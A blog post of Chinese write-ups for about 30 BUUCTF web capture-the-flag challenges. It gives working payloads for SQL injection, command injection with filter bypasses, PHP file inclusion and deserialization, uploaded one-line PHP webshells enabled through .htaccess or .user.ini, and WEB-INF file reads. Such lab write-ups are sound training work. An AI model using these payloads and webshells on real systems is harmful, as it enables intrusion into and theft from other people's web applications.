当前位置: 首页 > news >正文

BUUCTF——web刷题第一页题解

共31题,admin那题没有,因为环境问题,我做的非常卡

目录

极客大挑战 2019]Havefun

[HCTF 2018]WarmU

[ACTF2020 新生赛]Include

[ACTF2020 新生赛]Exec

[GXYCTF2019]Ping Ping Ping

[SUCTF 2019]EasySQL

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]Knife

[极客大挑战 2019]Secret File

[强网杯 2019]随便注

[ACTF2020 新生赛]Upload

[极客大挑战 2019]PHP

[极客大挑战 2019]BabySQL

[极客大挑战 2019]Upload

[BJDCTF2020]Easy MD5

[极客大挑战 2019]BuyFlag

[RoarCTF 2019]Easy Calc

[ACTF2020 新生赛]BackupFile

[极客大挑战 2019]Http

[护网杯 2018]easy_tornado

[ZJCTF 2019]NiZhuanSiWei

[MRCTF2020]Ez_bypass

[SUCTF 2019]CheckIn

[GXYCTF2019]BabySQli

[MRCTF2020]你传你🐎呢

[GYCTF2020]Blacklist

[极客大挑战 2019]HardSQL

[网鼎杯 2020 青龙组]AreUSerialz

[GXYCTF2019]BabyUpload

[RoarCTF 2019]Easy Java


第一页

极客大挑战 2019]Havefun

查看源码:

直接出:

[HCTF 2018]WarmUp
?的截取

点开有一个滑稽,查看源码:

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

访问hint.php:

我们知道了flag的位置,来看源码:

file中的内容要包含source.php或hint.php

mb_strpos($page . '?', '?')——>返回?出现的位置,

然后进行urlencode解码,在判断一次

所以我们的payload:?file=source.php%253f../../../../../ffffllllaaaagggg

在上产的时候自动url解码1次,为%3f——>对应?

第一次执行mb_substr时没有?(此时为%3f),整体保留

第二次是因为前面解码过了成了source.php?../../../../../ffffllllaaaagggg

?后面截断,前面保留,故满足条件

至于../怎么搞,目录穿越一个个试

[ACTF2020 新生赛]Include

猜测为文件包含,使用filter流过滤器,十分基础的题:

?file=php://filter/read=convert.base64-encode/resource=flag.php

[ACTF2020 新生赛]Exec

看到ping,马上反应过来127.0.0.1(本地回环地址)

猜测;后面添加要执行的命令

成功rce

然当,本地回环的方法不只这一个,其他方法可以去做ctfshow web入门的SSRF系列

[GXYCTF2019]Ping Ping Ping
IFS空格绕过
  • IFS 是 Internal Field Separator(内部字段分隔符)的缩写。
  • 默认值是空格、Tab 和换行符

${IFS},$IKS$1

————————

这题和上体类似,都是;后面命令执行,但这题禁了一些东西

空格用$IFS$1绕过,flag被ban了,*和?也是

?ip=127.0.0.1;f=ag;tac$IFS$1fl$f.php

还可以用这个

?ip=127.0.0.1;tac$IFS$1`ls`

将ls运行后的结果作为参数,用tac查看,得到的就是两个文件的内容

可以看到ban了这些

[SUCTF 2019]EasySQL

发现无论最后一个输入啥,都为1

试试堆叠注入


嗯然后这个好像就这样了

这道题式让我们自己去才sql语句,因为最后都是1,所以猜测有一个||,

题目sql语句如下: "select".post[‘query’]."||flag from Flag";

'query'即为我们传入的值

payload:*,1

然后就变成:select *,1 from Flag,就可以查询Flag中的所有东西了

[极客大挑战 2019]LoveSQL

#将后面的密码查询给注释掉了

回显位确定了

1'union select 1,2,database()# ——》 geek 库

1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# ——》 geekuser,l0ve1ysq1 表

1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#——》 id,username,password 列

1'union select 1,2,group_concat(password) from l0ve1ysq1#

——》给出了一个这东西

Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{b0b67ef8-9aa9-489b-ac5d-7f5e9bd1c4e2}'

[极客大挑战 2019]Knife

蚁剑连接

[极客大挑战 2019]Secret File

这题挺怪的,我看其他师傅有显示

但是我自己没有,算了,先抓包,访问action.php不要重定向

继续访问secr3t.php

出现了个这个东西

不能出现以上四个字符

filter过滤器:

解码得flag

[强网杯 2019]随便注
堆叠

这些是被ban了,大小写也是

尝试堆叠注入

1';show databases#——>ctftraining

1';show tables#——>

1';show columns from `1919810931114514`#

查列名为flag

1';handler `1919810931114514` open;handler `1919810931114514` read next#

即打开一个表,读取下一行

出flag

[ACTF2020 新生赛]Upload

自己写一个一句话木马,后缀改为jpg上传抓包改为pthml

蚁剑连接

[极客大挑战 2019]PHP
private变量%00

这个就是后台扫描,然后发现www.zip,访问下载

flag.php里面是假的flag

index.php

看一下class.php

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

一个简单的反序列化,绕过wake_up,给两个变量赋值

在PHP中,当类的成员变量被声明为private时,为了确保这些变量名不会与继承层次结构中其他类的成员变量发生冲突,PHP在序列化过程中会将类名作为前缀添加到成员变量名之前,并用两个空字符(\0)进行分隔。这样,在反序列化过程中,PHP能够准确地识别出哪些变量属于哪个类,即使子类或父类中有相同名字的成员变量也不会产生混淆。

因此,对于私有成员变量,序列化时在其名称前后加上\0(在URL编码形式中表现为%00),是为了保证数据的正确性和唯一性。这有助于在复杂的面向对象编程场景下维护数据的一致性和安全性

payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]BabySQL

这题发现union select 1,2,3#错误

显示查询语句有问题,有可能是被截取了

我们试试双写绕过:

1'ununionion seselectlect 1,2,3#

ok,然后就是照例

1'ununionion seselectlect 1,2,database()#——》 geek

我们输入:

1'ununionion seselectlect 1,2,group_concat(table_name) from information_schema.table_names where table_schema=database()#

发现where没了,双写绕过,然后发现还不行,后面试出来是or被过滤了,双写or

1'ununionion seselectlect 1,2,group_concat(table_name) frorom infoorrmation_schema.tables whwhereere table_schema=database()#

1'ununionion seselectlect 1,2,group_concat(column_name) frorom infoorrmation_schema.columns whwhereere table_name='geekuser'#

1'ununionion seselectlect 1,2,group_concat(password) frorom geekuser#

在另外一个表

1'ununionion seselectlect 1,2,group_concat(passwoorrd) frorom b4bsql#

[极客大挑战 2019]Upload
上传路径爆破

可以直接上传成功,但是我们还要知道具体的路径

常用的上传路径:

file/

fileRealm/

file\_manager/

file\_upload/

fileadmin/

fileadmin/\_processed\_/

fileadmin/\_temp\_/

fileadmin/user\_upload/

upload/

filedump/

filemanager/

filerun/

fileupload/

files/

files/cache/

files/tmp/

logfile/

paket-files/

profile/

profiles/

来bp爆破找出路径

这里不要url编码

找到路径为upload,访问,post出

[BJDCTF2020]Easy MD5

十分基础

直接数组绕过:?a[]=1&b[]=2

[极客大挑战 2019]BuyFlag

看源码

直接放payload:

用404a绕过数字检测,然后因为弱比较a被剔除

如果我们直接输入money,他会显示太长了,我们就是1e9(科学计数)

然后看到cookie中user=0,我们改成1

出flag

(money[]=1)也可以

[RoarCTF 2019]Easy Calc

挺好的一题

查询字符串绕过
.字符串拼接
chr()构造字符

发现字母啥的输了都不行,看看源码:

有一个cala.php

这里我们?num=的时候发现传不了,说是没权限

我们知道PHP将查询字符串转换为内部关联数组$_GET或关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”). 查询字符串在解析的过程中会将某些字符删除或用下划线代替

php需要将所有参数转换为有效的变量名,因此在解析查询字符串的时候,它会做两件事:

删除前后的空白符(空格符,制表符,换行符等统称空白符)

将某些字符转换为下划线

比如非常典的[,空格,+转_

所以我们就可以用" num",在前面加一个空格

ok,然后想想怎么命令执行

我们现在看看被禁止的函数:

还是很多的,目录查看我们可以用scandir

这个是没有回显的,我们需要print_r来输出结果,但是/没了,我们可以用chr(47)来代替

即:

? num=print_r(scandir(chr(47)))

读取文件内容:

我们用file_get_contents

? num=print_r(file_get_contents(chr(47).f1agg))

. 是字符串连接操作符,用于将两个字符串连接在一起

var_dump也可以

[ACTF2020 新生赛]BackupFile

先文件扫描,扫描出 /index.php.bak

访问,下载:
 

<?php
include_once "flag.php";if(isset($_GET['key'])) {$key = $_GET['key'];if(!is_numeric($key)) {exit("Just num!");}$key = intval($key);$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";
}

注意是弱比较,str那部分再比较的时候会变成123,直接key=123

[极客大挑战 2019]Http

抓包,然后发现Secret.php

考点是http,就根据提示来改

——》Referer:https://Sycsecret.buuoj.cn

——》User-Agent: Syclover

X-Forwarded-For:127.0.0.1

[护网杯 2018]easy_tornado
tornado是python的一个模板

根据提示,我们就知道filehash的计算方法,然后就是找cookie_secret

测试:

然后去找一个命令可以查看环境变量的

这里用handler.settings

当你创建一个Tornado Application实例时,你可以传递一个设置字典给它的构造函数。这个字典包含了你想要在整个应用中使用的配置选项。然后,在你的请求处理器(handlers)中,你可以通过 self.settings 来访问这些设置

然后就开始md5加密了

[ZJCTF 2019]NiZhuanSiWei

使用data伪协议写入文件,然后直接包含useless.php不行,使用filter过滤器

?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php

解码base64

然后这个就是一个非常简单的反序列化

<?php  class Flag{  //flag.php  public $file='flag.php';  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  $a=new Flag();
$b=serialize($a);
echo $b;
?>

echo直接就能调用toString方法

这里要把base64那个删掉否则出不来

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

查看源码得flag

[MRCTF2020]Ez_bypass

非常简单的题不赘述

[SUCTF 2019]CheckIn
.user.ini

这里我们使用.user.ini来做

auto_prepend_file=1.jpg即为把1.jpg指定, 指那么该文件就会被包含在要执行的php文件中 (index.php)

auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

然后上传1.jpg(马)

蚁剑连接

可以看到index.php和这三个是一个目录的,所以在填url的时候可以用/或者指定index.php

[GXYCTF2019]BabySQli
mysql在查询不存在的数据时会自动构建虚拟数据

尝试万能密码

发现了这东西

先base32解码再base64解码,得到查询语句

select * from user where username = '$name'

如果我们输入正确的查询语句

显示密码错误,否则显示用户错误

输入这个

admin'union select 1,'admin',3'

找到username列的位置,因为mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5

我们就可以构造一个

嗯,用bp比较好一点,hacker容易出问题

[MRCTF2020]你传你🐎呢

测试后发现png可以上传

试试.htaccess

这个就是让1.png可以作为php文件执行

然后蚁剑连接就好了

[GYCTF2020]Blacklist

嗯,尝试一下堆叠注入

1';show columns from FlagHere#

和那个随便注一毛一样

1';handler FlagHere open;handler FlagHere read next#

[极客大挑战 2019]HardSQL
报错注入
extractvalue() 报错注入
like
right字符串截取

了解一下

这题也是过滤了很多,比如空格,union,=,# 但是%23没有过滤

首先我们先试试万能密码,

1'or'1'%23

发现没回显,所以我们就要用到报错注入:

username=1%27or(extractvalue(1,concat(0x5c,database(),0x5c)))%23&password=1

查库名——》 geek

然后查表名,=没了,我们用like

空格的话用括号

?username=1%27or(extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23&password=1

——》 H4rDsq1

?username=1%27or(extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23&password=1

——》 id,username,password

?username=1%27or(extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)))))%23&passwor

这里实现位数别限制了,使用right函数(substring和mid被禁了)

?username=1%27or(extractvalue(1,concat(0x5c,(select(group_concat(right(password,30)))from(H4rDsq1)))))%23&password=1

flag{a3edc299-1e25-499b-a106-b6d5e1e14dcc}

[网鼎杯 2020 青龙组]AreUSerialz

源码:

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

已知flag.php

然后我们就需要用到read方法,为了调用read方法,我们要另op的值为2,虽然在_destruct中有

$this->op === "2"

但是他这个是强比较,比较的是2这个字符串,所以没影响,然后is_valid的作用是确保没有不可见字符

如果我们这里还是protect的话

就是不可见字符,所以我们对象的属性要变为public

只需要改这里,然后直接序列化

payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

(一开始看被吓到了,没想到这么简单)

[GXYCTF2019]BabyUpload

<script language='php'>eval($_POST[1]);</script>

和前面的 [MRCTF2020]你传你🐎呢 一个做法,不多赘述,只不过改为jpg形式

[RoarCTF 2019]Easy Java

help中出现这个:

这里先从别的师傅哪里抄一个理解

WEB-INF是java的WEB应用的安全目录。

WEB-INF目录(java)

WEB-INF/web.xml——web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。

WEB-INF/classes——包含了站点所有用的class文件,包括servlet class和非servlet class

WEB-INF/lib——存放web应用需要的JAR文件

WEB-INF/src——源码目录,按照包名结构放置各个java文件

WEB-INF/database.properties——数据库配置文件

WEB-INF/tags——存放了自定义标签文件

WEB-INF/jsp——jsp 1.2 一下版本的文件存放位置。

WEB-INF/jsp2——存放jsp2.0以下版本的文件。

META-INF——相当于一个信息包

漏洞形成原因:

Tomcat的WEB-INF目录,每个j2ee的web应用部署文件默认包含这个目录。

Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录

这里我们POST /Download?filename=WEB-INF/web.xml

发现有个FlagController

com.wm.ctf.FlagController,尝试下载,然后这个是个.class文件

POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

找到有个像base64编码的东西

相关文章:

BUUCTF——web刷题第一页题解

共31题&#xff0c;admin那题没有&#xff0c;因为环境问题&#xff0c;我做的非常卡 目录 极客大挑战 2019]Havefun [HCTF 2018]WarmU [ACTF2020 新生赛]Include [ACTF2020 新生赛]Exec [GXYCTF2019]Ping Ping Ping [SUCTF 2019]EasySQL [极客大挑战 2019]LoveSQL [极…...

windows、Ubuntu、Debian 添加静态路由

1. windows 10 添加静态路由 快捷键win R&#xff1a; 输入 cmd &#xff0c;打开命令行窗口 route print // 查看已经存在的路由 route add 192.168.3.0 mask 255.255.255.0 192.168.3.200 // 添加静态路由 192.168.3.200 为下一跳 route add -p 192.168.…...

服务器连接多客户端

一、epoll 核心函数详解 1. epoll_create/epoll_create1 - 创建 epoll 实例 c #include <sys/epoll.h> int epoll_create(int size); // Linux 2.6.8前需指定size&#xff08;>1&#xff09;&#xff0c;后续版本可忽略 int epoll_create1(int flags); // 推荐使用…...

驿客时光影院酒店升级:雷克赛恩 Cyber Pro 1 如何重塑住宿观影体验

一、影院式酒店新趋势&#xff1a;当住宿邂逅沉浸式观影体验 &#xff08;一&#xff09;驿客时光的差异化突围 成都温江区的驿客时光影院酒店&#xff0c;凭借 “百寸巨幕观影 舒适住宿” 的差异化定位&#xff0c;成为年轻旅客打卡热点。其 20 间主题客房均配备独立投影设…...

Cinema4D 26.014

添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09; 软件概述 Cinema 4D是德国MAXON公司开发的一款专业的3D动画、建模、仿真和渲染软件解决方案&#xff0c;在3D设计领域应用广泛。 功能特点 强大的建模功能 多边形建模&#xff1a;提供了丰富的多边形建模…...

脚本语言Lua

本文来源 &#xff1a;腾讯元宝 Lua是一种轻量级、可嵌入的脚本语言&#xff0c;由巴西里约热内卢天主教大学的Roberto Ierusalimschy、Waldemar Celes和Luiz Henrique de Figueiredo于1993年开发。其设计目标是嵌入应用程序中&#xff0c;提供灵活的扩展和定制功能。 主要特性…...

106. 从中序与后序遍历序列构造二叉树

https://leetcode.cn/problems/construct-binary-tree-from-inorder-and-postorder-traversal/description/?envTypestudy-plan-v2&envIdtop-interview-150思路&#xff1a;我们知道后序的顺序是左右根&#xff0c;所以后序数组的最后一个一定是根节点&#xff0c;然后中序…...

全链路压测实战指南:从理论到高可用架构的终极验证

全链路压测实战指南:从理论到高可用架构的终极验证 引言:你的系统,真的准备好迎接洪峰了吗? 凌晨3点,某大型电商平台秒杀活动突袭上线。百万用户同时涌入,订单接口响应时间从200ms飙升到15秒,数据库连接池被瞬间耗尽,支付服务直接“熔断”,连锁反应导致库存混乱、物流…...

分布式AI推理的成功之道

随着AI模型逐渐成为企业运营的核心支柱&#xff0c;实时推理已成为推动这一转型的关键引擎。市场对即时、可决策的AI洞察需求激增&#xff0c;而AI代理——正迅速成为推理技术的前沿——即将迎来爆发式普及。德勤预测&#xff0c;到2027年&#xff0c;超半数采用生成式AI的企业…...

纯前端实现基于位置的天气和动态背景图片

如何为博客首页实现基于位置的天气和动态背景图片 引言 我为我的博客主页添加了根据用户所在位置显示当地天气、日出日落时间&#xff0c;并加载一张与天气和时间段匹配的高质量背景图片&#xff0c;可以显著提升用户体验。想象晴天时展示阳光普照的田野&#xff0c;雨天时呈现…...

1.1 认识编程与C++

认识编程与C教程 目标 理解程序、指令、数据的概念。了解C在现实中的应用场景。学会搭建编程环境&#xff0c;迈出第一步。 一、编程是什么&#xff1f;——给计算机写“魔法指令” 1. 基本概念 程序&#xff1a;一系列指令的集合&#xff0c;像一本“魔法食谱”。 &#x…...

代码随想录算法训练营第60期第三十七天打卡

大家好&#xff0c;今天我们算法训练营的第37天&#xff0c;首先为自己感到骄傲&#xff0c;居然坚持下来了&#xff0c;本来觉得自己可能坚持不下来&#xff0c;但是我硬是坚持下来了&#xff0c;好样的&#xff0c;同时也感谢那些看我的题解给我点赞的朋友&#xff0c;我在这…...

每周靶点:TIGIT、ICAM1及文献分享

本期精选了《抑制性受体TIGIT》《细胞粘附分子ICAM1》《真核蛋白表达&#xff1a;选择合适的条件进行》《文献分享&#xff1a;双特异性和多特异性抗体的可开发性评估》四篇文章。以下为各研究内容的概述&#xff1a; 抑制性受体TIGIT TIGIT是一种具有Ig和ITIM结构域的T细胞免…...

介绍一下什么是 AI、 AGI、 ASI

1. AI&#xff08;人工智能&#xff09;&#xff1a;工具化的“窄域智能”​​ 定义​&#xff1a; AI 是能够执行特定任务的智能系统&#xff0c;依赖大量数据和预设规则&#xff0c;​缺乏自主意识和跨领域通用性。 特点​&#xff1a; ​任务专用​&#xff1a;如图像识…...

部署安装jenkins.war(2.508)

实验目的&#xff1a;部署jenkins&#xff0c;并与gitlab关联bulid 所需软件&#xff1a;jdk-17_linux-x64_bin.tar.gz jenkins.war apache-tomcat-10.1.40.tar.gz 实验主机&#xff1a;8.10具有java环境,内存最少为4G&#xff0c;cpu双核 目录 jdk安装 …...

【歌曲结构】2:小节与歌曲结构信息整合

歌曲小节与结构信息整合 我将为您整合小节信息与歌曲结构,创建一个更加详细的JSON数据结构。 处理方法 将小节时间与歌曲结构段落进行匹配为每个小节添加所属段落信息为小节添加格式化的时间戳为小节添加对应时间范围内的歌词{"song_title": "财神庙前许三亿…...

商城系统前端

商城系统的前端技术涉及多个层面的技术选型与架构设计&#xff0c;结合搜索结果中的信息&#xff0c;以下是商城系统前端技术的核心要点及实现方案&#xff1a; ​​一、基础技术栈​​ ​​HTML5 & CSS3​​ ​​功能定位​​&#xff1a;作为前端开发的基础&#xff0c;…...

OpenSSH 漏洞-SSH 服务器面临 MitM 攻击和拒绝服务攻击的风险

OpenSSH 发布了安全更新&#xff0c;修复了两个漏洞&#xff0c;一个是 MitM 攻击漏洞&#xff0c;另一个是拒绝服务漏洞&#xff0c;其中一个漏洞是在十多年前引入的。Qualys 发现了这两个漏洞&#xff0c;并向 OpenSSH 的维护人员展示了其可利用性。 OpenSSH&#xff08;开放…...

PostgreSQL MCP 使用案例

## 概述 PostgreSQL MCP&#xff08;PostgreSQL Multi-host Cluster Provisioning&#xff09;是一种用于部署和管理多节点PostgreSQL集群的工具和架构。它提供了高效的数据库集群管理、高可用性保障和负载均衡功能。本文档将介绍PostgreSQL MCP的基本使用方法和常见应用场景。…...

什么是接口文档,如何使用,注意事项有哪些

一、接口文档的核心内容 基础信息 接口名称&#xff1a;明确功能&#xff08;如“用户登录接口”&#xff09;。 接口地址&#xff1a;URL 或 RPC 路径&#xff08;如 /api/v1/login&#xff09;。 请求方法&#xff1a;HTTP 方法&#xff08;GET/POST/PUT/DELETE&#xff09…...

Swagger go中文版本手册

Swaggo(github.com/swaggo/swag)的注解语法是基于 OpenAPI 2.0 (以前称为 Swagger 2.0) 规范的,并添加了一些自己的约定。 主要官方文档: swaggo/swag GitHub 仓库: 这是最权威的来源。 链接: https://github.com/swaggo/swag重点关注: README.md: 包含了基本的安装、使用…...

[Java实战]Spring Boot + Netty 实现 TCP 长连接客户端及 RESTful 请求转发(二十六)

[Java实战]Spring Boot Netty 实现 TCP 长连接客户端及 RESTful 请求转发&#xff08;二十六&#xff09; 在现代微服务架构中&#xff0c;经常需要在不同服务之间进行高效、可靠的通信。本文将介绍如何使用 Spring Boot 结合 Netty 实现一个 TCP 长连接客户端&#xff0c;并…...

ProfibusDP主站转ModbusRTU/TCP与横河AXG电磁流量计通讯案例

ProfibusDP主站转ModbusRTU/TCP与横河AXG电磁流量计通讯案例 在当今数字化工业时代&#xff0c;智能仪表与控制系统的互联互通成为提高生产效率和管理水平的关键。横河AXG电磁流量计作为一款高性能的流量测量设备&#xff0c;在多个行业得到了广泛应用。而Profibus DP作为一种…...

鸿蒙OSUniApp开发的商品详情展示页面(鸿蒙系统适配版)#三方框架 #Uniapp

使用UniApp开发的商品详情展示页面&#xff08;鸿蒙系统适配版&#xff09; 前言 随着移动电商的普及&#xff0c;一个体验良好的商品详情页对于提高用户转化率至关重要。本文将分享我在使用UniApp开发商品详情页时的实践经验&#xff0c;并特别关注如何适配鸿蒙系统&#xf…...

VMware中快速安装与优化Ubuntu全攻略

准备工作 在开始安装之前&#xff0c;确保已经下载了VMware Workstation或VMware Player&#xff0c;并准备好Ubuntu的ISO镜像文件。VMware Workstation是一款功能强大的虚拟机软件&#xff0c;支持在Windows或Linux主机上运行多个操作系统。 创建虚拟机 打开VMware Worksta…...

本地 PC 使用Offset Explorer连接实体Ubuntu Kafka 【单机】超时问题解决

现状&#xff1a;本地 PC 使用Offset Explorer连接实体Ubuntu Kafka 超时 一、确认kafka是否在9092端口上运行 netstat -tulnp | grep 9092输出 tcp6 0 0 :::9092 :::* LISTEN 66113/java 使用jps查看进程66113的详细信息…...

CSS AI 通义灵码 VSCode插件安装与功能详解

简介 在前端开发领域&#xff0c;页面调试一直是个繁琐的过程&#xff0c;而传统开发中美工与前端的对接也常常出现问题。如今&#xff0c;阿里云技术团队推出的通义灵码智能编码助手&#xff0c;为前端开发者带来了新的解决方案&#xff0c;让开发者可以像指挥者一样&#xf…...

MUSE Pi Pro 使用TiTanTools烧录镜像

视频讲解&#xff1a; MUSE Pi Pro 使用TiTanTools烧录镜像 下载windows下的烧录工具 https://cloud.spacemit.com/prod-api/release/download/tools?tokentitantools_for_windows_X86_X64 下载镜像文件&#xff0c;zip后缀的即可 打开软件默认界面 按住FDL键&#xff0c;同时…...

嵌软面试每日一阅----通信协议篇(二)之TCP

一. TCP和UDP的区别 可靠性 TCP&#xff1a;✅ 可靠传输&#xff08;三次握手 重传机制&#xff09; UDP&#xff1a;❌ 不可靠&#xff08;可能丢包&#xff09; 连接方式 TCP&#xff1a;面向连接&#xff08;需建立/断开连接&#xff09; UDP&#xff1a;无连接&#xff0…...

开机自启动python程序_ubuntu22.04

一、没有设置开机自启动时 1、 conda activate yolo cd /home/orangepi/work_11.15/zipformer 2、 python app.py 二、设置开机自启动流程 1、新建一个文件.service文件 touch zipformer.service 2、最重要的找到你自己的环境路径 这个是我的 yolo的虚拟环境在&#xff…...

8、SpringBoot集成MinIO

8、SpringBoot集成MinIO https://xiaoxueblog.com/ai/SpringBoot%E9%9B%86%E6%88%90MinIO.html 1、pom <dependency><groupId>io.minio</groupId><artifactId>minio</artifactId><version>8.5.12</version> </dependency>2…...

LeRobot 框架的核心架构概念和组件(下)

本文档概述构成 LeRobot 框架的核心架构概念和组件。它介绍主要的子系统&#xff0c;并解释它们如何相互作用以实现机器人学习。 。。。。。。继续。。。。。。 机器人控制系统 机器人控制系统提供统一的接口来控制实体机器人。它支持不同的控制模式和机器人类型&#xff0c…...

ubuntu18 设置静态ip

百度 编辑/etc/netplan/01-netcfg.yaml 系统没有就自己编写 network: version: 2 renderer: networkd ethernets: eth0: dhcp4: no addresses: [192.168.20.8/24] # 设置你的IP地址和子网掩码 gateway4: 192.168.20.1 # 网关地址 namese…...

QML元素 - ThresholdMask

QML 的 ThresholdMask 用于根据阈值将源元素与遮罩元素的像素值进行比较&#xff0c;通过设定阈值范围来控制源元素的可见区域。它适用于基于亮度、透明度或颜色通道的动态遮罩效果&#xff0c;例如游戏中的血条、进度指示器或图像处理中的抠图。以下是详细使用技巧和场景示例&…...

[项目深挖]仿muduo库的并发服务器的解析与优化方案

标题&#xff1a;[项目深挖]仿muduo库的并发服务器的优化方案 水墨不写bug 文章目录 一、buffer 模块&#xff08;1&#xff09;线性缓冲区直接扩容---->环形缓冲区定时扩容&#xff08;只会扩容一次&#xff09;&#xff08;2&#xff09;使用双缓冲&#xff08;Double Buf…...

(独家)SAP CO模块中 销售发票对应的Cost Document中的PSG对象是什么东东??

背景&#xff1a; 在销售发票生成的凭证中&#xff0c;控制凭证有两个字段&#xff1a;对象类型、对应编码&#xff1b;那这个PSG到底是什么东东&#xff1f;网上一直没人解释&#xff0c;可能没人研究过这个问题。 官方解释&#xff1a; 按我的理解&#xff0c;PSG profile …...

流程编辑器Bpmn与LogicFlow学习

工作流技术如何与用户交互结合&#xff08;如动态表单、任务分配&#xff09;处理过 XML 与 JSON 的转换自定义过 bpmn.js 的样式&#xff08;如修改节点颜色、形状、图标&#xff09;扩展过上下文菜单&#xff08;Palette&#xff09;或属性面板&#xff08;Properties Panel&…...

群晖NAS部署PlaylistDL音乐下载器结合cpolar搭建私有云音乐库

文章目录 前言1.关于PlaylistDL音乐下载器2.Docker部署3.PlaylistDL简单使用4.群晖安装Cpolar工具5.创建PlaylistDL音乐下载器的公网地址6.配置固定公网地址总结 前言 各位小伙伴们&#xff0c;你们是不是经常为了听几首歌而开通各种平台的VIP&#xff1f;或者为了下载无损音质…...

Unity光照笔记

问题 在做项目中遇到了播放中切换场景后地面阴影是纯黑的问题&#xff0c;不得不研究一下光照。先放出官方文档。 Lighting 窗口 - Unity 手册 播放中切换场景后地面阴影是纯黑 只有投到地面的阴影是纯黑的。且跳转到使用相同Terrain的场景没有问题。 相关文章&#xff1a…...

【ROS2】编译Qt实现的库,然后链接该库时,报错:/usr/bin/ld: XXX undefined reference to `vtable for

1、问题描述 在ROS2工程中,编译使用Qt实现的库,在其它ROS2包链接该库时,报错: /usr/bin/ld: XXX undefined reference to `vtable for2、原因分析 查看链接失败的几个函数接口都是,信号函数(signals 标记的函数)。因为信号函数都只有定义,没有实现,在执行ROS2 colc…...

deepseek讲解如何快速解决内存泄露,内存溢出问题

Java内存泄漏与内存溢出解决方案及预防措施 作为Java架构师&#xff0c;处理内存泄漏和内存溢出问题需要系统性的方法。以下是一份完整的解决方案和预防建议&#xff1a; 一、问题诊断阶段 1. 确认内存泄漏现象 监控GC日志&#xff0c;观察老年代使用率是否持续增长使用jst…...

双系统重装ubuntu

双系统ubuntu20.04重装&#xff08;详细版&#xff09;_ubuntu20.04安装教程-CSDN博客...

图形语言中间层:重构 AI 编程的未来之路

